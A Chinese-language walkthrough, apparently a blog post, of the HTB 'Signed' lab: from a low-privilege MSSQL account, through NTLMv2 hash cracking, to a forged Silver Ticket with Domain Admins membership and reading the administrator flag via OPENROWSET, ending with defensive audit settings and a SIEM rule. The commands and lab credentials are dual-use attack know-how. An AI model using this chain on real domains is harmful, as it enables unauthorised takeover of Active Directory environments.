news 2026/4/15 10:03:31

HTB Signed靶场实战:从MSSQL普通用户到域管权限,手把手教你用Silver Ticket绕过权限限制

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
HTB Signed靶场实战:从MSSQL普通用户到域管权限,手把手教你用Silver Ticket绕过权限限制

HTB Signed靶场实战:从MSSQL注入到域控沦陷的完整攻击链剖析

当企业将MSSQL服务部署在域环境中时,一个普通的数据库账户可能成为攻陷整个Active Directory的起点。本文将还原HTB Signed靶机中从低权限MSSQL用户到域管理员的全过程技术细节,重点解析Silver Ticket攻击在混合权限场景下的精妙应用。

1. 初始立足点建立与横向移动

任何渗透测试都需要找到合适的初始入口。在HTB Signed场景中,我们获得了一个普通MSSQL账户scott:Sm230#C5NatH。使用Impacket工具集连接目标数据库是最直接的方式:

impacket-mssqlclient scott:Sm230#C5NatH@10.10.11.152 -windows-auth

连接成功后,通过执行SELECT SYSTEM_USER;确认当前权限为SIGNED\scott。此时需要寻找提权路径,几个关键查询可以帮助我们快速定位攻击面:

-- 检查当前用户角色 SELECT IS_SRVROLEMEMBER('sysadmin'); -- 枚举数据库链接 SELECT * FROM master..sysservers; -- 查看可执行存储过程 SELECT name FROM master..sysobjects WHERE type = 'P' AND name LIKE 'xp_%';

通过Responder工具捕获到mssqlsvc域账户的NTLMv2哈希后,使用Hashcat进行离线破解:

hashcat -m 5600 hash.txt rockyou.txt --force

成功获取明文密码purPLE9795!@后,我们升级为域账户SIGNED\mssqlsvc。但此时仍非sysadmin角色,需要更深入的权限提升手段。

2. Silver Ticket攻击的核心原理与实施

Kerberos协议中的服务票据(Service Ticket)验证缺陷是Silver Ticket攻击的基础。当攻击者获取服务账户的密码哈希后,可以伪造任意用户的访问权限。以下是关键步骤的技术实现:

2.1 获取必要的攻击要素

首先需要计算服务账户的NT哈希作为加密密钥:

echo -n 'purPLE9795!@' | iconv -f UTF-8 -t UTF-16LE | openssl md4

输出结果为ef699384c3285c54128a3ee1ddb1a0cc,这就是我们的加密密钥。接下来获取目标组的SID信息:

SELECT SUSER_SID('SIGNED\IT');

通过Python脚本将十六进制SID转换为标准格式:

import binascii sid = binascii.unhexlify('0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000') print('S-{}-{}-{}'.format(sid[0], int.from_bytes(sid[2:8],'big'), '-'.join(str(int.from_bytes(sid[8+i*4:12+i*4],'little')) for i in range(sid[1]))))

2.2 票据生成与权限组合策略

使用Impacket的ticketer模块生成银票时,需要特别注意权限组合:

impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc \ -domain-sid S-1-5-21-4088429403-1159899800-2753317549 \ -domain SIGNED.HTB \ -spn MSSQLSvc/DC01.SIGNED.HTB \ -groups 512,1105 \ -user-id 1103 \ Administrator

这里有几个关键参数需要理解:

  • -groups 512,1105:同时包含域管理员组(512)和IT组(1105)的RID
  • -user-id 1103:指定mssqlsvc用户的RID确保SPN验证通过
  • -spn:必须与目标服务的SPN完全匹配

3. 权限上下文差异的实战利用

获得高权限票据后,我们发现一个有趣的现象:通过xp_cmdshell执行的命令无法访问管理员目录,而OPENROWSET(BULK)却可以。这涉及到Windows安全模型的核心机制:

3.1 进程令牌与安全上下文

通过以下查询可以观察进程创建链:

EXEC xp_cmdshell 'wmic process where "name=''cmd.exe''" get processid,parentprocessid,commandline,executablepath';

输出显示cmd.exe是作为SQL Server的子进程创建的。关键差异在于:

  • xp_cmdshell创建新进程时会使用服务账户的主令牌
  • OPENROWSET(BULK)作为SQL Server内部函数使用当前线程的模拟令牌

3.2 文件读取的两种方式对比

失败的方式(xp_cmdshell):

EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'type C:\Users\Administrator\Desktop\root.txt';

成功的方式(OPENROWSET):

SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_BLOB) AS f;

这种差异源于Windows的令牌继承机制。当SQL Server使用我们的伪造票据建立连接时,线程令牌包含了域管理员权限。而xp_cmdshell创建的新进程会丢弃模拟令牌,仅保留服务账户的基础权限。

4. 防御策略与检测建议

针对此类攻击,企业可以采取以下防护措施:

即时缓解措施:

  • 对MSSQL服务账户启用Kerberos AES加密(而非RC4)
  • 限制服务账户的本地权限和组策略设置
  • 监控异常的Kerberos票据请求模式

长期加固方案:

# 启用Kerberos审计策略 auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable # 限制服务账户权限 Set-ADAccountControl -Identity mssqlsvc -TrustedForDelegation $false

SIEM检测规则示例:

event_id: 4769 AND Ticket_Encryption_Type: 0x17 AND Service_Name: NOT LIKE "%$" AND Account_Name: NOT LIKE "krbtgt"

在实际渗透测试中,理解每种技术背后的原理比记住工具命令更重要。Silver Ticket攻击之所以有效,根本原因在于Kerberos协议对服务端验证的信任假设。防御方需要建立分层的检测体系,而攻击方则需要深入理解权限上下文的微妙差异。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/15 9:57:32

别再傻傻用阻塞接收了!STM32F103串口实战:中断+DMA搞定蓝牙模块数据收发

STM32F103串口性能优化实战:从阻塞接收转向中断与DMA的高效架构 当你的智能小车因为串口接收卡顿而错过关键指令,或是传感器数据因处理延迟堆积成无用的历史记录时,就该重新审视那些教科书式的阻塞接收方案了。本文将带你突破基础串口通信的局…

作者头像 李华
网站建设 2026/4/15 9:56:54

StructBERT零样本分类实战:无需训练,自定义标签搞定文本分类

StructBERT零样本分类实战:无需训练,自定义标签搞定文本分类 1. 零样本分类技术解析 1.1 什么是零样本分类? 零样本分类(Zero-Shot Classification)是一种无需训练数据就能完成分类任务的技术。想象一下&#xff0c…

作者头像 李华